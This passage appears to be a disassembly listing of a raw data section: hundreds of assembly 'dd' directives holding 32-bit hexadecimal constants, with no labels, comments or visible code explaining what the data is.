dd 0FFEBCA5Bh, 18771701h, 0D1E91D39h, 2388AA4Bh, 0B7010F42h
dd 5AB5A0Ch, 0D1A5BB5Ch, 182C906Dh, 0CA37C37Ch, 46361337h
dd 43621611h, 0EB805C44h, 0A68EC0Bh, 2CE7524Fh, 87D360E9h
dd 332FE580h, 0C5B130CDh, 82EDE401h, 594BEBE0h, 0B74ADF8Ah
dd 5A4F1032h, 1289053Eh, 8DD03238h, 0FE0B1C04h, 0BCCD8950h
dd 4F892C2Bh, 5730605Bh, 48841F0Bh, 7F27793Bh, 0BB004446h
dd 811EA31Ch, 27129FEFh, 0D7500333h, 5E08C750h, 0F95A6825h
dd 1605BCDAh, 8B4A4F36h, 5B25481Bh, 769378Ah, 535F0B02h
dd 33002BDEh, 0CFE958E0h, 9E419662h, 0C0CB132Dh, 3947BE54h
dd 5A83055Bh, 0B03E96F7h, 0A16628E5h, 2A14B5B4h, 55B1999Fh
dd 62E1293Bh, 1A341809h, 0B966D019h, 5102802Ah, 0E938B450h
dd 0C8D88E2Fh, 9E2B717h, 0D989475Fh, 3BF70FB1h, 0B4F1E200h
dd 988A1BDCh, 0D09BDAAh, 0B524B996h, 8B160842h, 14B1508h
dd 0D8284404h, 3768D02Ch, 9D57214Fh, 466616E2h, 7DFA79FDh
dd 0EE35AA4Bh, 53B259C5h, 25DCE98Ah, 5ED488C8h, 29426B0Fh
dd 0C2B5A9D5h, 359E5D7Bh, 540B278Eh, 6087E95Fh, 0F685794h
dd 5DE3E78h, 0CE094F8Bh, 6082BF42h, 320C5D98h, 13039E7Ah
dd 0F5BAE44Dh, 49087209h, 20A65C99h, 0F1E3A0AAh, 67530456h
dd 0E1A7E964h, 5FFEF872h, 7EEC107h, 2F51CE81h, 0CFDB59DFh
dd 0B2FF3FB3h, 0BF57689h, 0FBC51001h, 29FC7C13h, 0C4EF744Fh
dd 68FF90BDh, 3AB147DFh, 0A486D9A5h, 4CBA10F2h, 0E7DF40E6h
dd 6CAF350h, 0E91A1FB8h, 0F13C5EF2h, 68D6B020h, 0E6A85FDBh
dd 40813572h, 168A1A70h, 0A00C0B09h, 8609F3A0h, 8B7B6E06h
dd 59D987D5h, 68A8AD64h, 197DF245h, 6CCBD0F7h, 0B4CFD31h
dd 231F7488h, 0E3032BE0h, 9E613833h, 486E000Ch, 56553693h
dd 7A1F50BEh, 0F6403DC5h, 386B78FDh, 0DDE92D4Eh, 7D5B42C1h
dd 8CEB84E4h, 0C9FBC0C2h, 6730CEE8h, 2A557B50h, 55D9B5D3h
dd 743BA1E7h, 0AA2A8576h, 3801D152h, 9B24D4Ah, 26158A40h
dd 0E97A0B76h, 0CB66CEF4h, 0BB4EC0F2h, 23EC29DDh, 0F257C32Bh
dd 26C269ACh, 0D0BFD1C1h, 18C0715Eh, 0F81B99F1h, 0B0D74A09h
dd 2A00A6E4h, 4C354064h, 0C00FFC72h, 0D942060Ch, 0E833C157h
dd 0A0030605h, 600850EBh, 1B63AC80h, 1345D59h, 814C8C7h
dd 12BEB59Dh, 6689D207h, 8C68C3F4h, 5550F5ACh, 6BBA00BDh
dd 0CD81064Bh, 0C03807F9h, 0BA90CF45h, 7ABA6425h, 8DBA050h
dd 1C5305C1h, 5D1DF5E9h, 69DF8282h, 49637A46h, 6FE696E9h
dd 0CD41BB9Dh, 0AF50C99Ah, 2D5FFBh, 7D1373DEh, 6850D829h
dd 41F9145Dh, 0B28A51E8h, 3EB97022h, 41F8D1E0h, 830581B4h
dd 968302C6h, 0AC103E1Fh, 0BC71B613h, 7F2D7C52h, 6A2FCE61h
dd 2371CC1h, 76E82A16h, 4E1355E0h, 181B8F30h, 9B738DDh
dd 0CDB2E9BEh, 63CA6268h, 596CED05h, 798BF001h, 0CA49B742h
dd 0C8BF0F01h, 3F2BC168h, 9E4BF231h, 3C2F1272h, 442248CCh
dd 0B92CC1EEh, 60C7031Ah, 8F9F5703h, 6B7C4123h, 902A34D8h
dd 0F14C99Ah, 0E965A00Eh, 7FFC53E4h, 0B45A71B5h, 19D0040Ch
dd 5BEFF2E5h, 682BF0E7h, 6B5934Eh, 1676CE3Ah, 13F55F5Dh
dd 5BD668D4h, 0D2303221h, 521E8478h, 601B13B2h, 9C6C053Fh
dd 0FC08B9EAh, 1A3950F9h, 13874913h, 0E909CB1Fh, 0B9446175h
dd 66B4302Ah, 6909CF52h, 7E104CE9h, 0E8636570h, 1C5E8100h
dd 0C07A0D39h, 1524513Ch, 0EB85948h, 0E7991248h, 4A602B25h
dd 13D8F74Fh, 22FD77E9h, 0C5F24431h, 717E7027h, 43EB0813h
dd 3EAC003h, 3F239B80h, 5B77FE06h, 17B08828h, 45145513h
dd 7A8F21Fh, 83BD56A1h, 182E48D5h, 0DF0ACD0Bh, 4D018A04h
dd 1CB529Ch, 0BD5A59C8h, 9D38C003h, 146ED950h, 66F102Eh
dd 80A61314h, 489921E0h, 202D9C51h, 6D3C21DEh, 55E95682h
dd 0E8B10027h, 863AD9F6h, 8D030C1h, 0B002E9C0h, 588D7E29h
dd 3A7225D7h, 0A13980C7h, 0BC33EF9Dh, 3CF27B2Dh, 0B3374820h
dd 91FF1673h, 0FB65Eh, 7A12B951h, 4F717B03h, 6612C2B7h
dd 46B8974h, 54000BB0h, 4A27685Bh, 63655DAAh, 40AE52Fh
dd 8C3EA3E9h, 0B00350ACh, 304CB510h, 0E95EFAC5h, 96315B3Ah
dd 8D34B42h, 6B250330h, 20EE1B34h, 0F097799h, 1439F208h
dd 0E6D933B9h, 6D76E702h, 46433A1Ch, 21D610A9h, 135DD6Dh
dd 0CFC0D3B1h, 9E595066h, 0D79BA19Ah, 0A007D360h, 3CF687A4h
dd 332C0DFh, 89B2FB38h, 0E6E6546Ch, 0A9E9A90h, 3A72FB2Dh
dd 804362C3h, 0C8BA87F1h, 48A34EA3h, 703A014h, 584B862Fh
dd 6AABA8E1h, 6B2AA241h, 2CD40C5Eh, 299A2422h, 0F5381A54h
dd 614860Eh, 795D9909h, 3DF10180h, 217BF870h, 22202A37h
dd 569112E9h, 444EBADEh, 0FFA69955h, 0E22BAB4Bh, 5BBED547h
dd 0B808F7Fh, 840F13C9h, 56A282CAh, 0EEF3BEC0h, 98FF44B7h
dd 0AB0F2468h, 0B5C3423Ch, 859C055Ch, 6D3CBCCh, 0A12D6A1h
dd 8CC397h, 0E4C09BB4h, 0C45CFE03h, 0A9173BDh, 0D5095392h
dd 6BFA7433h, 0D94B3371h, 0CA29E2BCh, 2C021D5Fh, 0F9CE42EBh
dd 0A7CB6C93h, 0E8BF9500h, 2962D932h, 6B5F73FAh, 73078FD7h
dd 0F1FCD9C7h, 0DE020B6Fh, 55E0C243h, 0A1345A01h, 0A55B27E0h
dd 1B662FBEh, 0C721A29Eh, 6857A130h, 144F2603h, 372F0D25h
dd 79C5D843h, 0CCE66F8h, 0AC853DA3h, 0F5F84C01h, 32055814h
dd 12C7B8A4h, 0ED650C09h, 0BE0F70BFh, 2A097DE6h, 51F30119h
dd 0C326BC88h, 811020F4h, 66F01DC0h, 9F294C63h, 0A161E913h
dd 9F7D4160h, 0ED8305F2h, 265FF72h, 0C3423A80h, 89582FBEh
dd 294E4196h, 2EDEA0C1h, 6AF3F187h, 5663017Fh, 7790F389h
dd 5B785E20h, 7825680Eh, 0E9045EB9h, 2DEF3903h, 9BA9F4C7h
dd 0CC478CD6h, 0A551F62Dh, 6692054Ch, 4996053Bh, 21C5C83Ah
dd 3EDF3D18h, 3572F0E4h, 3521E5Dh, 497395D8h, 1D5E1CAAh
dd 98A0CA3Dh, 0B5B94A36h, 5409E043h, 5DC615Ch, 2B0B23C9h
dd 0E5388580h, 29361448h, 6C1392C5h, 0B4664D7h, 6BDED1D0h
dd 864C7F40h, 0B7DCCB3Fh, 8A0C5172h, 52431B08h, 0D00A1763h
dd 0A1D6133Dh, 2F34C955h, 8C3E799Dh, 0A24AD8D9h, 0C6213B9Ch
dd 0E2943DCh, 883BB300h, 0C4805BDCh, 9C6BFA27h, 485D0EFDh
dd 0EF708DEBh, 39E0E99Fh, 48429DA4h, 776A2FF9h, 5832D983h
dd 0DA292FA0h, 8A0EAF0h, 84BE525Bh, 0B4BFE961h, 58C1D451h
dd 0A8FEC80h, 0E6815542h, 0B56CF10Eh, 0DCCEC049h, 0C025F65Ch
dd 0E842166Ch, 0DE0C29F7h, 449983E9h, 5AD02E20h, 0BB2A3D5Eh
dd 0D3F601EEh, 0EBC0C3FEh, 0FE503105h, 5145007Dh, 0B53CB353h
dd 69566A0Bh, 85C7CA3Dh, 0F404F003h, 9E52EC84h, 8A87570Ah
dd 45645E93h, 6505C082h, 0A52F2C50h, 2E0A8679h, 0B987FCACh
dd 924B57BCh, 0DE055F81h, 0EBD22022h, 0C90BFCEFh, 81DD09FAh
dd 18D9F595h, 53CECh, 37511076h, 7135852Dh, 71E12E5Eh
dd 11CA0707h, 9D685D04h, 53AA33FFh, 0CB7F7BC8h, 0F3584B60h
dd 0E51867CDh, 766192Ah
dd 8D0BE7E9h, 74685259h, 0ADC46FEAh, 2748AD03h, 895F598Dh
dd 475101B8h, 28EB2D82h, 9D00FDDFh, 3A9243D2h, 0C674E912h
dd 22A64729h, 7A8C01ACh, 2F41D1F7h, 2816323h, 9369EFBCh
dd 0FA692934h, 90A5404h, 0F1F8E9B4h, 0E5BB452Ch, 58FE8969h
dd 0CBFE28C7h, 5DEA5CFFh, 0C330540Fh, 0E04828E9h, 100438F2h
dd 0D6012234h, 4FF610B4h, 66164932h, 264D2B66h, 170649CFh
dd 6201D7F7h, 0FEB1B30Eh, 26F6876Fh, 0F1065FE4h, 344B2EEEh
dd 901A010Ch, 76E98973h, 0B9256BA4h, 0C012C3A6h, 2D04A21Ch
dd 7EEA5201h, 571D2751h, 5C5B7344h, 0F008012h, 48BB7B5Ah
dd 962F9231h, 9B6A5255h, 0C051D6D6h, 5237680Ch, 25A58929h
dd 0B65A85F2h, 280A10B3h, 96FB112h, 0DF616891h, 0EC702BBEh
dd 16091199h, 0EC740120h, 250CD01Bh, 8C0C735Eh, 5A0D0268h
dd 1D0014Ah, 0B9DA3EE9h, 1515BC23h, 0C605B39Ch, 0EB2B74BBh
dd 9AE39F09h, 0CB46DE8Eh, 0DCC48ED0h, 43EBEC53h, 1205C1ACh
dd 1118FFF4h, 400AEE12h, 5E0FF348h, 82C0B70Fh, 7C438E68h
dd 971B42C2h, 8DC24105h, 4F0FFE27h, 9DD07EC6h, 2579EA06h
dd 10C3560h, 0FBB11CD7h, 6B5275E9h, 0B861B31h, 37C7CD3Ah
dd 4EE90CEEh, 0BEF53BBh, 2D3667C3h, 8A09B5Ch, 0D4215926h
dd 12E8C101h, 0C02EC831h, 510DE9FBh, 2552F4B4h, 48F82DA4h
dd 3AC1800Eh, 0B33E16Eh, 0EE875291h, 98EBC0B8h, 6DB8D930h
dd 193C84Ch, 68C32CD8h, 0A568509Bh, 1AB75380h, 0FAE0BCB2h
dd 44062ED6h, 7A7346F5h, 0E8302EFDh, 0CB8B5AE0h, 80699FD6h
dd 0A978C508h, 96BA900Ah, 319B2D56h, 32AC50D9h, 0C79312D1h
dd 899F4BE8h, 27E8D9F3h, 0DB5857ADh, 91815A35h, 80041B18h
dd 80FDB550h, 4FDACD40h, 680A21B9h, 4FE8681Bh, 0E90B66CBh
dd 2D694F62h, 3F172FFBh, 0F5B798E8h, 755DFF41h, 0C7AE7C8Bh
dd 0B2541216h, 3D5C4C9h, 0EBE0413h, 0A6802E0h, 76E19A65h
dd 9EC54B6Eh, 3498AB0Ch, 0D1F0BBDh, 5480013Ch, 23D3450Ah
dd 0B01C5ECh, 0E938E004h, 9D81CE63h, 114005C6h, 0A2F6D808h
dd 46B75901h, 3676684Eh, 900FD36h, 486E3760h, 14022E35h
dd 0F4054FDEh, 4E0055A7h, 5ABA52D0h, 38042A0Bh, 3128E42h
dd 0FA034454h, 0BD167CDAh, 0EE409284h, 5EC9C011h, 0D14F899Bh
dd 0F035FDA0h, 0BF9F3573h, 0D34EEF9Ah, 20E9C729h, 0EF5F5699h
dd 0B6C0326Bh, 0A579CF05h, 0FB29FA26h, 0CC59AF39h, 0A4E6F4EEh
dd 84E707C9h, 62283010h, 0A3C1E2CFh, 0E6F7F05Fh, 5CE90DC4h
dd 0C4BCD394h, 8C5BBC48h, 271F07DCh, 0C2DA517Ch, 0E90802D4h
dd 0BF4D7812h, 555CA3CEh, 0B8807D11h, 57480036h, 6752354Eh
dd 4F986F9Bh, 7E1B540Bh, 1423FC6Eh, 2C7508E9h, 88530ACCh
dd 0AF3F7888h, 0BAC0010Fh, 5BF464D4h, 0A5D54C31h, 1672EF24h
dd 0D36ABC4Ch, 5BF61284h, 2D918E30h, 6201415Dh, 2CC23573h
dd 31FD6DB6h, 0B2E8B954h, 122BCAB4h, 0C7803FE9h, 52DD829h
dd 6321C09h, 0E938885Bh, 983E2A20h, 9FD7BC8Bh, 5D58A0B3h
dd 116C44Ch, 72C072A8h, 0E90C9451h, 0A9C2044Fh, 0DAFBE1B2h
dd 3980D2C8h, 0C384A8F2h, 0C7D32832h, 5A665362h, 48E00A3Dh
dd 0D4C12C08h, 16F0784Ch, 0F54CE272h, 8A472D30h, 891610C6h
dd 0E9B84AD4h, 112B86A5h, 27D4348h, 59847807h, 0C2657431h
dd 497085E9h, 38A0B73Ch, 0AFF83DC5h, 7E3F89D6h, 16E47BDAh
dd 0BFA608h, 1D6BD6BAh, 0E2058131h, 3F114254h, 0F4FC22C2h
dd 78FBC2F3h, 0DEDB18F7h, 696F9907h, 1ED49003h, 54EEF524h
dd 0E9DCD449h, 0B928BA0Fh, 0BBD2F59Dh, 712BA2B1h, 0DBEE834Eh
dd 7E5E4151h, 11EA3541h, 1ECF639h, 0D29790CAh, 5F24A611h
dd 51411491h, 0E56E8D3Fh, 5AC5245Dh, 0CB5F9398h, 4E1877B3h
dd 0D0311093h, 0FAAB939Fh, 28F0226h, 53499304h, 0D6C4017Ah
dd 5C05F669h, 75D5BC89h, 680912B4h, 0A8E0F9C2h, 6281099Bh
dd 0A75C0AD7h, 6FCE906h, 4EE27723h, 0BBEEC4E8h, 1D20CE29h
dd 0E53C09F2h, 38E4825h, 0C14AAD3Eh, 1EB50C1h, 1130D801h
dd 89AD81DFh, 56ACD2A2h, 0BF586415h, 92D11721h, 5C83989h
dd 590EB172h, 53C68956h, 2158AE04h, 75E9ACC4h, 68535200h
dd 6EC87FAFh, 9639C5B7h, 0E20D20FFh, 0A52661A0h, 0F240DD47h
dd 504B5AD8h, 0A2AE20Eh, 1F4D405h, 918269BDh, 37CBDEAh
dd 0A0BF064Fh, 512D04D3h, 0C05ACF5Bh, 88D6812h, 85B96EB1h
dd 0DA10E9E5h, 7C6732AFh, 4FBF16F8h, 82F2404h, 0F7092B07h
dd 538686E1h, 94A655D3h, 44F7213Ah, 37EE4D1Dh, 0E45D2AE1h
dd 0D57388B0h, 0F67FF316h, 553A7E82h, 24E4EAE0h, 0D150C49Eh
dd 319955Ah, 95EF4753h, 0C25A0133h, 0C529212Eh, 457D30CEh
dd 2260CFB6h, 0FA618016h, 4BEC5AF1h, 5E11EF6h, 566E8258h
dd 0F5C7E576h, 44D87582h, 0B330AC8h, 3430973Dh, 0EFE531ADh
dd 0F8E4802Ah, 0ECB7C968h, 6AD7026Dh, 36E94B26h, 2909EA7Eh
dd 8F6B48DAh, 0B3C69D2Ch, 0F9E5A5B7h, 0ADAA7281h, 9657AC02h
dd 3B7F2558h, 0D21A73F9h, 0FB598270h, 12E1D130h, 0B0C3EC5Ch
dd 0C1E574FCh, 0AEE9C1B4h, 5EFB0503h, 5315521Bh, 83CB45E6h
dd 8B38F8EAh, 5CF7A446h, 8484F2FDh, 0BEB812ABh, 0F3E10h
dd 0C46ED42Dh, 1F630569h, 0C96BF57Dh, 24D491F0h, 4E2FC34Dh
dd 0FD365D92h, 5B538950h, 1F660688h, 0C61C8058h, 0E3A452F4h
dd 5EE7FC09h, 470F4144h, 5B228262h, 5508BD16h, 493B0AE6h
dd 0DEB0DA87h, 6620CF6h, 0F12E1DC8h, 4A6F7912h, 0D4036009h
dd 5BCF606Ch, 810058BFh, 565D8DF3h, 90554301h, 0D06F2CC7h
dd 544BCF0Fh, 3F2AEDF8h, 7895A59Eh, 18DF0F6Eh, 14A5312Eh
dd 69EEED2Dh, 0F0FA54EAh, 214B80E9h, 125939C8h, 282FD668h
dd 0BCA814EDh, 7A48E380h, 23377AAAh, 10799FF8h, 0B9906513h
dd 44F1023Bh, 0C621305h, 75CB2F7Fh, 0C36B55h, 1554B260h
dd 445B4E66h, 0EE3C122h, 8E8A040h, 105810Dh, 62D7B94h
dd 0D416B52Eh, 0F80A7F6Dh, 0A1C38933h, 1A75E300h, 0EBE93403h
dd 310B4F3Bh, 0BB0200F6h, 81723A70h, 61DACF00h, 95E96A38h
dd 0AB249515h, 78A38271h, 836FF841h, 5EF5010Dh, 596CC268h
dd 49C893C7h, 0C204ADB6h, 0DA880345h, 82D19A5Bh, 77347C64h
dd 0EFECEF9Ch, 62887391h, 0F1F02D98h, 0FE491FF0h, 0FB52273Bh
dd 6EA20256h, 0DB4053F3h, 0D04115Eh, 408EE9ACh, 11411DCDh
dd 9F07CC61h, 0C0B4E8F6h, 0A01736BEh, 0D1C900Ch, 19D61BE5h
dd 5CF04E6h, 81215E08h, 97289F76h, 0D30CE3A5h, 95B9062Bh
dd 2404A259h, 0ADC36187h, 7DC88CACh, 891540B5h, 5CC14195h
dd 0E34D917Fh, 0F5290112h, 2510C86Fh, 0CF02F1B9h, 60D70F6Ch
dd 0BE3B5F55h, 0A9408132h, 0F9019498h, 6EAA215Ah, 0FE56975Eh
dd 5E7FF08h, 159CA87h, 552B90F8h, 47FA641Bh, 0A35EE917h
dd 0F4002FCDh, 906755C3h, 0E2EF4B1Fh, 0FEF72488h, 1DC6B08h
dd 0E6158FBEh, 32C12F3Dh, 327AEA1Ch, 3F54AE29h, 0D35E5409h
dd 5FFE0B73h, 23A4791Ch, 0F9C88437h, 19C37960h, 0B1BBB0C4h
dd 0DFE8279Ah, 20AA1C53h, 5550B556h, 9AB90551h, 0D537B843h
dd 272B989h, 442854C5h, 46F9804Ch, 4ACDE0DFh, 221E931h
dd 0A4DD7456h, 0CF3BE329h, 0C8B8E930h, 958CE8A1h, 92DB570Bh
dd 0EF304B02h, 2E37E25h, 55444254h, 0A66355h, 8006BB12h
dd 4D47E962h, 416D9BB5h, 87F9FFAFh, 0F581A680h, 142E6693h
dd 2E56214Bh, 295CB504h
dd 0F9E77AECh, 9C1A4BA2h, 0DD895556h, 27A54C8Eh, 0D5B223F5h
dd 10BC5041h, 170F7DC1h, 215F1AE8h, 2EB62A77h, 40426ECCh
dd 0FB5B01C2h, 96EDC3B5h, 8FB86B87h, 0C32A9446h, 0E0980252h
dd 0B5022D03h, 29DDE472h, 0B99F0C3h, 19A37FA5h, 0B5585442h
dd 208E671Eh, 6D88F967h, 1495E33Ah, 22412A13h, 0DCE98C89h
dd 80FFF942h, 0D4654A1Ah, 2C238076h, 8D74FD2Eh, 58963CE4h
dd 0F7052EAAh, 7AAB3FE1h, 69F802CEh, 69D42F36h, 4CA00500h
dd 9701ABDBh, 0C0C04B6Ch, 49B34255h, 0BBEA0781h, 601934DCh
dd 0D078DDEBh, 25E97A5Ch, 48C9A416h, 0FDD712EFh, 41BC5B82h
dd 0E40C7330h, 46046653h, 0E5E9F001h, 0B75F40A0h, 294AD216h
dd 8D10A05Fh, 0E4D4F54Eh, 12D3FA82h, 0CC1D4C1Ah, 35D74BF0h
dd 0C5FBB8EBh, 0D9A002E9h, 5C3A9D05h, 70798EDFh, 2D221C20h
dd 0B022C03Fh, 0C588513Dh, 602D9093h, 0E0E9F354h, 7F16954Ch
dd 0BB535000h, 4B5C3330h, 0F0FB5F87h, 0A9E44FAh, 17756615h
dd 99A28CBCh, 0AD00502Fh, 7BE32E5Bh, 0E92A059Ah, 8295B772h
dd 5739F3B9h, 2B14B46h, 0E9840548h, 0F11231B1h, 5F123B41h
dd 612F98CBh, 0F331C502h, 0E009B0F8h, 806CD636h, 0F244B55Eh
dd 19F1EB72h, 0E346914Dh, 0DB807C1h, 0A21FE11Eh, 4A7EC24Dh
dd 12108188h, 2B05B15Ah, 0DC48FB2h, 65F889Fh, 5759CD98h
dd 94A34F67h, 0A00BA94h, 0E93F806Ah, 37A1A9DFh, 1C492C37h
dd 0FAA64097h, 7CEC4D0Dh, 202B2FF9h, 8A691617h, 18612840h
dd 0C19E656h, 1E2FF32Ch, 4FA0BC1h, 56BA3AD2h, 96D7E3B9h
dd 1770E5EDh, 0A8F577FEh, 0AC8A10C5h, 0D9F75E05h, 0C4F40850h
dd 0D45D5433h, 5BC07BECh, 6827BFA0h, 433F822Eh, 0FD74C5h
dd 492BC102h, 2865586Fh, 2D9DCCA7h, 2C593ABAh, 5DEF01E1h
dd 9F02C7F4h, 0E92C3D6Ch, 5967308h, 277A98BDh, 0E912CF56h
dd 37690A75h, 24E5ADh, 0A541E168h, 43035B05h, 429BF381h
dd 0DBF78935h, 17E11F30h, 166E989h, 440F34E5h, 9D64E046h
dd 3883AD80h, 137D207Fh, 918D1784h, 7133892Eh, 0EB0C82F2h
dd 80270938h, 1C41E2BAh, 0D0017C5Dh, 5F51081Ch, 0E8A01404h
dd 397FEF35h, 68DB8549h, 66414FE6h, 0C09FB652h, 133003EDh
dd 400B5FFFh, 80D8B039h, 0E4B826C6h, 1427B95Ah, 0E68AD582h
dd 305F791Dh, 0EBC9C5F0h, 9798582Bh, 97C80F88h, 4B4F6880h
dd 38B6305Bh, 6517B178h, 33ECC709h, 42576882h, 34418772h
dd 0F0D99842h, 81CB856Eh, 9A2CBEBBh, 5F26711h, 47614909h
dd 0AE60518Fh, 686C7E7Ch, 0D4AC4B4Ah, 1777E940h, 0A3EA77Dh
dd 96A31767h, 0EF1900DDh, 816DC872h, 65E3E21Ch, 80BD2C12h
dd 32B4002h, 760B3167h, 1308441Eh, 861C2F9h, 0BC7D5868h
dd 0AA18AEE1h, 66C331C0h, 211CC48Fh, 0DEB4FD8Ah, 59C592D2h
dd 564870BCh, 5858C05Ah, 0A290D101h, 0CC2F6408h, 97E98421h
dd 0A01123Fh, 313E15FFh, 0E5DF037Fh, 0C78C4504h, 1EA0000Bh
dd 9F9089ECh, 27F90126h, 570CA10h, 0DBC380D3h, 8CA9C5Ah
dd 3CBBDAA8h, 18FC5724h, 0DFC77912h, 5F5E1C32h, 0F0F814E1h
dd 65B11286h, 512F1E26h, 0A7550BC0h, 0B60B59C6h, 856E645Fh
dd 0CFB40EDEh, 95D1830Ch, 802E8589h, 0E5F3ADEBh, 7A692C4Dh
dd 0B3544489h, 21E868AFh, 4A0D8B1Bh, 1340E952h, 0DF049241h
dd 684A607Fh, 66BF2B5Fh, 730E4CC2h, 4F419217h, 86F5C71h
dd 12491D26h, 0C020E2B0h, 760506C3h, 1658C711h, 66146C25h
dd 2DE5B28Ch, 6AD311A5h, 0C844E9A6h, 0B74ED6B8h, 98F7D51Ah
dd 0C0DE29D4h, 7BF0BB38h, 14CA650Ch, 8989A32Fh, 958516D5h
dd 0F3958670h, 0E1E904AAh, 9235A888h, 0CB5FC3CAh, 544261D2h
dd 0FF28AEE9h, 0A86DB517h, 66F992D7h, 2DA4C328h, 0D418DB55h
dd 0EBB6A8AFh, 5324B473h, 0E948028Fh, 4466B59Dh, 3BA7585Bh
dd 0CB9CE982h, 0BE4A845Ch, 70E32812h, 0A6A84979h, 42D9502Fh
dd 12C49BBh, 7F7D2AECh, 6442D58h, 0DE2A57F1h, 32E9090Bh
dd 7A165C08h, 489EFA6Ch, 8B1E5552h, 69E93340h, 47E3D549h
dd 5DE930C2h, 0E0D5E55Eh, 6880F4A3h, 0CD3C4AD9h, 0CD43F801h
dd 8E4FD197h, 226759E4h, 9712E25Dh, 6197FA66h, 28C98527h
dd 6880C662h, 2F8A3DCEh, 4DBA5E07h, 817005B1h, 723196C2h
dd 2D0CC079h, 2977032Fh, 0EA51F27Eh, 140CA008h, 693CC697h
dd 170BAFE9h, 0A65F23A3h, 218CD64h, 8B3FB891h, 9CD7897Ah
dd 405084ABh, 0D290594Fh, 15406F23h, 7F540EB5h, 1E789501h
dd 0E95E0880h, 0D944B225h, 2BC4CF7Bh, 0DE48A9A8h, 0AB1FA6CCh
dd 62585AC2h, 0FF70C8FDh, 0F11208B0h, 80BC025Fh, 0BEE0E89Bh
dd 0E9271E61h, 207760A2h, 0F65912EAh, 0F900BFDAh, 55C580A0h
dd 3CCD75FEh, 9756FE5h, 5F9E9A5h, 892598E4h, 79E45EEAh
dd 3F497155h, 0F5C9609h, 0EC814h, 1A15C6BBh, 0D8008945h
dd 6997355Bh, 90D5520h, 2E9F109Eh, 5C507089h, 5B97DDBCh
dd 0EB8052BDh, 6C4066C2h, 452D0CC2h, 3FA684D7h, 0CAAF21D4h
dd 0B91C64BFh, 1507C21Ch, 61F25B51h, 0D10AB9FDh, 0D132E599h
dd 740C8273h, 0D54D2E8Bh, 0F032C30Bh, 20BA3B5Dh, 813E89B2h
dd 0D52304F6h, 0EF1095Ch, 1E677C39h, 53A191C2h, 204E3512h
dd 7C180A19h, 0C6CC3A23h, 50032762h, 8A07D54h, 76926812h
dd 1B4072A3h, 0D8294F5Eh, 0FC30E971h, 53EA71DEh, 67852C3Bh
dd 10042DDFh, 2E41C95Ah, 8623F821h, 56BFE004h, 0AB0E70A2h
dd 5805B1E8h, 98E4D821h, 65FE6027h, 0B8303BC7h, 0F73A2376h
dd 36EC0497h, 0AA9115E9h, 0B740DE01h, 3FB850D6h, 16A542B1h
dd 656972C1h, 523C6A65h, 0A2864D9Ah, 0FA78228Bh, 42E2D100h
dd 3515CA81h, 0EC176041h, 2E3D6C32h, 0C20092BAh, 0CFB75CA5h
dd 32E9D609h, 0EBB3DC20h, 0B2A0EDDCh, 5EF9A9B5h, 80FA164Eh
dd 25F2808Ah, 0C2B88095h, 72885315h, 5BF91CD7h, 0FFF11C5Ah
dd 63D8D1A5h, 685DFF8Ah, 0C0BE80A5h, 0D163510h, 511F26DCh
dd 0C98999B9h, 0E2E001Bh, 4A63DE1Fh, 8097A441h, 4C564A17h
dd 2959DF07h, 93FC8999h, 0E9B1C7EAh, 306AFC0Ah, 60E7C9D9h
dd 0D1563D0Bh, 0C056E1h, 371F7148h, 397ADE9h, 96D0883Fh
dd 5B5A7546h, 89D387EFh, 0EB62C159h, 42F07C02h, 5E05B833h
dd 8108FFC1h, 71766C30h, 0BE56022Ch, 147E57DBh, 0C678D858h
dd 5DA97500h, 28E9F109h, 606481F9h, 575E02E9h, 4D29DF2h
dd 898F780Fh, 0F7FE0C58h, 3242CA4Fh, 7EDFCBACh, 2C792FA8h
dd 0EB88524Bh, 4B16C01h, 0CFD26F67h, 0FF125DD0h, 48CFEC5Fh
dd 71776F0h, 53422CD3h, 0A62AEFC0h, 0A0D6F74Eh, 302F1079h
dd 30CBBEBh, 4417F28h, 437D8B40h, 0D9E65CC1h, 59C5E019h
dd 0E829C85Dh, 0F4B862D2h, 0E3327613h, 94C317C3h, 4E6E55E9h
dd 4A604C60h, 0EB0389AEh, 30DD2D5Dh, 0CB50876Dh, 14312A67h
dd 705D801h, 0EBF1E91Bh, 34B93093h, 2D5D7384h, 706A25Ah
dd 0E3C002A6h, 820107DDh, 0B8D9F333h, 4F5AE992h, 7889B286h
dd 0B0372520h, 4BDD58AAh, 5BC5935Fh, 955F5FAh, 0E46F7616h
dd 0D560B24h, 3430183Eh, 0EAE225E9h, 135B2E76h, 0F8D2821Ch
dd 0C3E1C5CAh, 2968BDD8h, 0A59A1486h, 9569A0F0h, 232B53h
dd 745F78A9h, 49A6BC3Dh, 0C20FF56h, 1A45E917h, 0E9B043BDh
dd 57D7D68Ch, 0B66882D1h, 82E4372Bh, 1857546Ch, 1D7F85F4h
dd 5BD7B1Fh, 0C584E080h, 2D84C58Fh, 12883ABBh, 6D949F5Bh
dd 252B9E9Dh, 30A5B3E9h
dd 0DD20AFE1h, 0E6E68146h, 3E863B70h, 603FEE2Ch, 7DCFC3C6h
dd 0F201C105h, 0D4532DE9h, 1958AF01h, 22707A05h, 3730D795h
dd 27D3B205h, 88E25604h, 1680F296h, 0ECACCA21h, 8364EEF4h
dd 4BA706C0h, 586548FCh, 9CC8352Dh, 66BF6F68h, 27BDA01Bh
dd 4E3C0BC4h, 0BE4076E9h, 265E67BBh, 0DB34AFC1h, 6F106D7Ah
dd 0E913218Ah, 908F534Ch, 0AA221B74h, 0C3EE38C1h, 8BE6AD05h
dd 0FA7CD6C7h, 927BEB57h, 0A29CD708h, 204BEC9Dh, 667C38D9h
dd 82E83278h, 0D352BCD2h, 0BD687002h, 0FA284603h, 77F7FECEh
dd 58FE948Bh, 2F86B850h, 82674084h, 0A501F625h, 527A2AF9h
dd 3FEA0BF8h, 0B2004970h, 590B03C2h, 6001413Bh, 5B1AD97Ah
dd 0E0C10742h, 109F0502h, 0C22937ECh, 0F9BEED98h, 0D2E16C2Dh
dd 0A74DF8C8h, 18CD1805h, 0F34EC929h, 795C8B5Ah, 0D5599810h
dd 416FC068h, 3D45C84Fh, 1516AA19h, 7AB82C96h, 0BA625C26h
dd 0FBE7FC2h, 2D4CC097h, 0B7257EEDh, 0E080F407h, 17B36D54h
dd 7B0909B0h, 4CAE10h, 61A9631Ah, 43E9191Dh, 2B5C5C09h
dd 572D1ECAh, 0E984537Bh, 21ABBD88h, 2AF71D0Ah, 6EA92AC0h
dd 0C4B604Dh, 44C301DDh, 792037B8h, 92AB0B2h, 298D1836h
dd 312C825Dh, 9D96F8F5h, 0E9130E5Ah, 0E223B0E3h, 5AD791EAh
